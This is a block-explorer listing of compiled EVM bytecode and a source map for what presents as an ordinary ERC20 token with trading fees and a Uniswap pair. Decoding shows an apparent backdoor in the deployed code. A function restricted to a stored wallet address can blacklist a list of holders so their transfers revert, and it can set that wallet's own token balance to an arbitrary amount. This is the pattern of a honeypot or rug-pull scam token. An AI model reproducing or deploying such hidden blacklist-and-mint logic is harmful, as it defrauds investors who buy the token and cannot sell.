a09061253d565b60405180910390fd5b809150505b92915050565b6000611ef683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f5c565b905092915050565b6000808284611f0d91906126a2565b905083811015611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f499061251d565b60405180910390fd5b8091505092915050565b60008083118290611fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9a91906124bb565b60405180910390fd5b5060008385611fb291906126f8565b9050809150509392505050565b600081359050611fce81612c06565b92915050565b600081519050611fe381612c06565b92915050565b60008083601f840112611fff57611ffe612a04565b5b8235905067ffffffffffffffff81111561201c5761201b6129ff565b5b60208301915083602082028301111561203857612037612a09565b5b9250929050565b60008135905061204e81612c1d565b92915050565b60008135905061206381612c34565b92915050565b60006020828403121561207f5761207e612a13565b5b600061208d84828501611fbf565b91505092915050565b6000602082840312156120ac576120ab612a13565b5b60006120ba84828501611fd4565b91505092915050565b600080604083850312156120da576120d9612a13565b5b60006120e885828601611fbf565b92505060206120f985828601611fbf565b9150509250929050565b60008060006060848603121561211c5761211b612a13565b5b600061212a86828701611fbf565b935050602061213b86828701611fbf565b925050604061214c86828701612054565b9150509250925092565b6000806040838503121561216d5761216c612a13565b5b600061217b85828601611fbf565b925050602061218c85828601612054565b9150509250929050565b600080600080606085870312156121b0576121af612a13565b5b60006121be8782880161203f565b945050602085013567ffffffffffffffff8111156121df576121de612a0e565b5b6121eb87828801611fe9565b935093505060406121fe87828801612054565b91505092959194509250565b60006122168383612231565b60208301905092915050565b61222b816127c9565b82525050565b61223a816127b7565b82525050565b612249816127b7565b82525050565b600061225a8261265d565b6122648185612680565b935061226f8361264d565b8060005b838110156122a0578151612287888261220a565b975061229283612673565b925050600181019050612273565b5085935050505092915050565b6122b6816127db565b82525050565b6122c58161281e565b82525050565b6122d481612830565b82525050565b60006122e582612668565b6122ef8185612691565b93506122ff818560208601612866565b61230881612a18565b840191505092915050565b6000612320602383612691565b915061232b82612a29565b604082019050919050565b6000612343602283612691565b915061234e82612a78565b604082019050919050565b6000612366601b83612691565b915061237182612ac7565b602082019050919050565b6000612389602183612691565b915061239482612af0565b604082019050919050565b60006123ac602083612691565b91506123b782612b3f565b602082019050919050565b60006123cf602583612691565b91506123da82612b68565b604082019050919050565b60006123f2602483612691565b91506123fd82612bb7565b604082019050919050565b61241181612807565b82525050565b61242081612811565b82525050565b600060208201905061243b6000830184612240565b92915050565b60006020820190506124566000830184612222565b92915050565b60006040820190506124716000830185612240565b61247e6020830184612240565b9392505050565b600060208201905061249a60008301846122ad565b92915050565b60006020820190506124b560008301846122bc565b92915050565b600060208201905081810360008301526124d581846122da565b905092915050565b600060208201905081810360008301526124f681612313565b9050919050565b6000602082019050818103600083015261251681612336565b9050919050565b6000602082019050818103600083015261253681612359565b9050919050565b600060208201905081810360008301526125568161237c565b9050919050565b600060208201905081810360008301526125768161239f565b9050919050565b60006020820190508181036000830152612596816123c2565b9050919050565b600060208201905081810360008301526125b6816123e5565b9050919050565b60006020820190506125d26000830184612408565b92915050565b600060a0820190506125ed6000830188612408565b6125fa60208301876122cb565b818103604083015261260c818661224f565b905061261b6060830185612240565b6126286080830184612408565b9695505050505050565b60006020820190506126476000830184612417565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad82612807565b91506126b883612807565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612914565b5b828201905092915050565b600061270382612807565b915061270e83612807565b92508261271e5761271d612943565b5b828204905092915050565b600061273482612807565b915061273f83612807565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612914565b5b828202905092915050565b600061278e82612807565b915061279983612807565b9250828210156127ac576127ab612914565b5b828203905092915050565b60006127c2826127e7565b9050919050565b60006127d4826127e7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061282982612842565b9050919050565b600061283b82612807565b9050919050565b600061284d82612854565b9050919050565b600061285f826127e7565b9050919050565b60005b83811015612884578082015181840152602081019050612869565b83811115612893576000848401525b50505050565b600060028204905060018216806128b157607f821691505b602082108114156128c5576128c4612972565b5b50919050565b60006128d682612807565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561290957612908612914565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c0f816127b7565b8114612c1a57600080fd5b50565b612c26816127db565b8114612c3157600080fd5b50565b612c3d81612807565b8114612c4857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ba352231384d15068fe77e62e16903086efc96d1939717741f42b31ebe5b04564736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806395d89b41116100ab578063c816841b1161006f578063c816841b14610429578063c860795214610454578063d72285941461047f578063dd62ed3e146104bc578063e14f870d146104f9578063f2fde38b1461051057610135565b806395d89b4114610342578063a9059cbb1461036d578063a9aee2ea146103aa578063b2a1449b146103d3578063c5d24189146103fe57610135565b8063313ce567116100f2578063313ce567146102355780633345611e146102605780633ecad2711461029d57806370a08231146102da5780638da5cb5b1461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c91906124bb565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612156565b6105cb565b6040516101999190612485565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c491906124a0565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906125bd565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190612103565b610619565b60405161022c9190612485565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b6040516102579190612632565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612069565b61070a565b6040516102949190612485565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612069565b61072a565b6040516102d19190612485565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190612069565b61074a565b60405161030e91906125bd565b60405180910390f35b34801561032357600080fd5b5061032c610793565b6040516103399190612426565b60405180910390f35b34801561034e57600080fd5b506103576107bc565b60405161036491906124bb565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190612156565b61084e565b6040516103a19190612485565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612196565b61086d565b005b3480156103df57600080fd5b506103e86108cf565b6040516103f59190612441565b60405180910390f35b34801561040a57600080fd5b506104136108f5565b60405161042091906125bd565b60405180910390f35b34801561043557600080fd5b5061043e6108fb565b60405161044b9190612426565b60405180910390f35b34801561046057600080fd5b50610469610921565b60405161047691906125bd565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612069565b610927565b6040516104b39190612485565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de91906120c3565b610947565b6040516104f091906125bd565b60405180910390f35b34801561050557600080fd5b5061050e6109ce565b005b34801561051c57600080fd5b5061053760048036038101906105329190612069565b610da6565b005b60606001805461054890612899565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612899565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610ef8565b8484610f00565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106268484846110cb565b506106e884610633610ef8565b6106e385604051806060016040528060288152602001612c4c60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610ef8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117169092919063ffffffff16565b610f00565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107cb90612899565b80601f01602080910402602001604051908101604052809291908181526020018280546107f790612899565b80156108445780601f1061081957610100808354040283529160200191610844565b820191906000526020600020905b81548152906001019060200180831161082757829003601f168201915b5050505050905090565b600061086261085b610ef8565b84846110cb565b506001905092915050565b60005b838390508110156108bf576108ac85858584818110610892576108916129a1565b5b90506020020160208101906108a79190612069565b61177a565b80806108b7906128cb565b915050610870565b506108c98161182f565b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109d6610ef8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a9061255d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ac257600080fd5b505afa158015610ad6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afa9190612096565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5c57600080fd5b505afa158015610b70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b949190612096565b6040518363ffffffff1660e01b8152600401610bb192919061245c565b602060405180830381600087803b158015610bcb57600080fd5b505af1158015610bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c039190612096565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610dae610ef8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e329061255d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f679061259d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd7906124fd565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110be91906125bd565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111339061257d565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561119357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa906124dd565b60405180910390fd5b600e60149054906101000a900460ff161561122a57611223848484611918565b905061170f565b60006112353061074a565b9050600e60149054906101000a900460ff1615801561129e5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112ad576112ac81611aeb565b5b6112ff83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611def90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113e55750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113f25783905061160e565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114755761146e6064611460600a5488611e3990919063ffffffff16565b611eb490919063ffffffff16565b90506114f3565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f2576114ef60646114e1600b5488611e3990919063ffffffff16565b611eb490919063ffffffff16565b90505b5b60008111156115f75761154e81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efe90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ee91906125bd565b60405180910390a35b61160a8186611def90919063ffffffff16565b9150505b61166081600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efe90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161170091906125bd565b60405180910390a36001925050505b9392505050565b600083831115829061175e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175591906124bb565b60405180910390fd5b506000838561176d9190612783565b9050809150509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d457600080fd5b81600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006107e78261183f91906126a2565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189b57600080fd5b6118af600382611e3990919063ffffffff16565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006119a3826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117169092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efe90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ad891906125bd565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2357611b226129d0565b5b604051908082528060200260200182016040528015611b515781602001602082028036833780820191505090505b5090503081600081518110611b6957611b686129a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0b57600080fd5b505afa158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c439190612096565b81600181518110611c5757611c566129a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cbe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f00565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d229594939291906125d8565b600060405180830381600087803b158015611d3c57600080fd5b505af1925050508015611d4d575060015b611d5657611d57565b5b60004790506000811115611dcf57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dcd573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611e3183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611716565b905092915050565b600080831415611e4c5760009050611eae565b60008284611e5a9190612729565b9050828482611e6991906126f8565b14611ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea09061253d565b60405180910390fd5b809150505b92915050565b6000611ef683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f5c565b905092915050565b6000808284611f0d91906126a2565b905083811015611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f499061251d565b60405180910390fd5b8091505092915050565b60008083118290611fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9a91906124bb565b60405180910390fd5b5060008385611fb291906126f8565b9050809150509392505050565b600081359050611fce81612c06565b92915050565b600081519050611fe381612c06565b92915050565b60008083601f840112611fff57611ffe612a04565b5b8235905067ffffffffffffffff81111561201c5761201b6129ff565b5b60208301915083602082028301111561203857612037612a09565b5b9250929050565b60008135905061204e81612c1d565b92915050565b60008135905061206381612c34565b92915050565b60006020828403121561207f5761207e612a13565b5b600061208d84828501611fbf565b91505092915050565b6000602082840312156120ac576120ab612a13565b5b60006120ba84828501611fd4565b91505092915050565b600080604083850312156120da576120d9612a13565b5b60006120e885828601611fbf565b92505060206120f985828601611fbf565b9150509250929050565b60008060006060848603121561211c5761211b612a13565b5b600061212a86828701611fbf565b935050602061213b86828701611fbf565b925050604061214c86828701612054565b9150509250925092565b6000806040838503121561216d5761216c612a13565b5b600061217b85828601611fbf565b925050602061218c85828601612054565b9150509250929050565b600080600080606085870312156121b0576121af612a13565b5b60006121be8782880161203f565b945050602085013567ffffffffffffffff8111156121df576121de612a0e565b5b6121eb87828801611fe9565b935093505060406121fe87828801612054565b91505092959194509250565b60006122168383612231565b60208301905092915050565b61222b816127c9565b82525050565b61223a816127b7565b82525050565b612249816127b7565b82525050565b600061225a8261265d565b6122648185612680565b935061226f8361264d565b8060005b838110156122a0578151612287888261220a565b975061229283612673565b925050600181019050612273565b5085935050505092915050565b6122b6816127db565b82525050565b6122c58161281e565b82525050565b6122d481612830565b82525050565b60006122e582612668565b6122ef8185612691565b93506122ff818560208601612866565b61230881612a18565b840191505092915050565b6000612320602383612691565b915061232b82612a29565b604082019050919050565b6000612343602283612691565b915061234e82612a78565b604082019050919050565b6000612366601b83612691565b915061237182612ac7565b602082019050919050565b6000612389602183612691565b915061239482612af0565b604082019050919050565b60006123ac602083612691565b91506123b782612b3f565b602082019050919050565b60006123cf602583612691565b91506123da82612b68565b604082019050919050565b60006123f2602483612691565b91506123fd82612bb7565b604082019050919050565b61241181612807565b82525050565b61242081612811565b82525050565b600060208201905061243b6000830184612240565b92915050565b60006020820190506124566000830184612222565b92915050565b60006040820190506124716000830185612240565b61247e6020830184612240565b9392505050565b600060208201905061249a60008301846122ad565b92915050565b60006020820190506124b560008301846122bc565b92915050565b600060208201905081810360008301526124d581846122da565b905092915050565b600060208201905081810360008301526124f681612313565b9050919050565b6000602082019050818103600083015261251681612336565b9050919050565b6000602082019050818103600083015261253681612359565b9050919050565b600060208201905081810360008301526125568161237c565b9050919050565b600060208201905081810360008301526125768161239f565b9050919050565b60006020820190508181036000830152612596816123c2565b9050919050565b600060208201905081810360008301526125b6816123e5565b9050919050565b60006020820190506125d26000830184612408565b92915050565b600060a0820190506125ed6000830188612408565b6125fa60208301876122cb565b818103604083015261260c818661224f565b905061261b6060830185612240565b6126286080830184612408565b9695505050505050565b60006020820190506126476000830184612417565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad82612807565b91506126b883612807565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612914565b5b828201905092915050565b600061270382612807565b915061270e83612807565b92508261271e5761271d612943565b5b828204905092915050565b600061273482612807565b915061273f83612807565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612914565b5b828202905092915050565b600061278e82612807565b915061279983612807565b9250828210156127ac576127ab612914565b5b828203905092915050565b60006127c2826127e7565b9050919050565b60006127d4826127e7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061282982612842565b9050919050565b600061283b82612807565b9050919050565b600061284d82612854565b9050919050565b600061285f826127e7565b9050919050565b60005b83811015612884578082015181840152602081019050612869565b83811115612893576000848401525b50505050565b600060028204905060018216806128b157607f821691505b602082108114156128c5576128c4612972565b5b50919050565b60006128d682612807565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561290957612908612914565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c0f816127b7565b8114612c1a57600080fd5b50565b612c26816127db565b8114612c3157600080fd5b50565b612c3d81612807565b8114612c4857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ba352231384d15068fe77e62e16903086efc96d1939717741f42b31ebe5b04564736f6c63430008070033

Deployed Bytecode Sourcemap

3845:6558:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5227:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6510:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6275:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5318:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8305:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5640:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4215:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4272:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5878:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1523:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6182:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7652:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5426:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4104:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4375:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5194:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4417:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4324:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8628:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7827:468;;;;;;;;;;;;;:::i;:::-;;1729:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5227:83;5264:13;5297:5;5290:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5227:83;:::o;6510:161::-;6585:4;6602:39;6611:12;:10;:12::i;:::-;6625:7;6634:6;6602:8;:39::i;:::-;6659:4;6652:11;;6510:161;;;;:::o;6275:41::-;;;;;;;;;;;;;:::o;5318:100::-;5371:7;5398:12;;5391:19;;5318:100;:::o;8305:313::-;8403:4;8420:36;8430:6;8438:9;8449:6;8420:9;:36::i;:::-;;8467:121;8476:6;8484:12;:10;:12::i;:::-;8498:89;8536:6;8498:89;;;;;;;;;;;;;;;;;:11;:19;8510:6;8498:19;;;;;;;;;;;;;;;:33;8518:12;:10;:12::i;:::-;8498:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8467:8;:121::i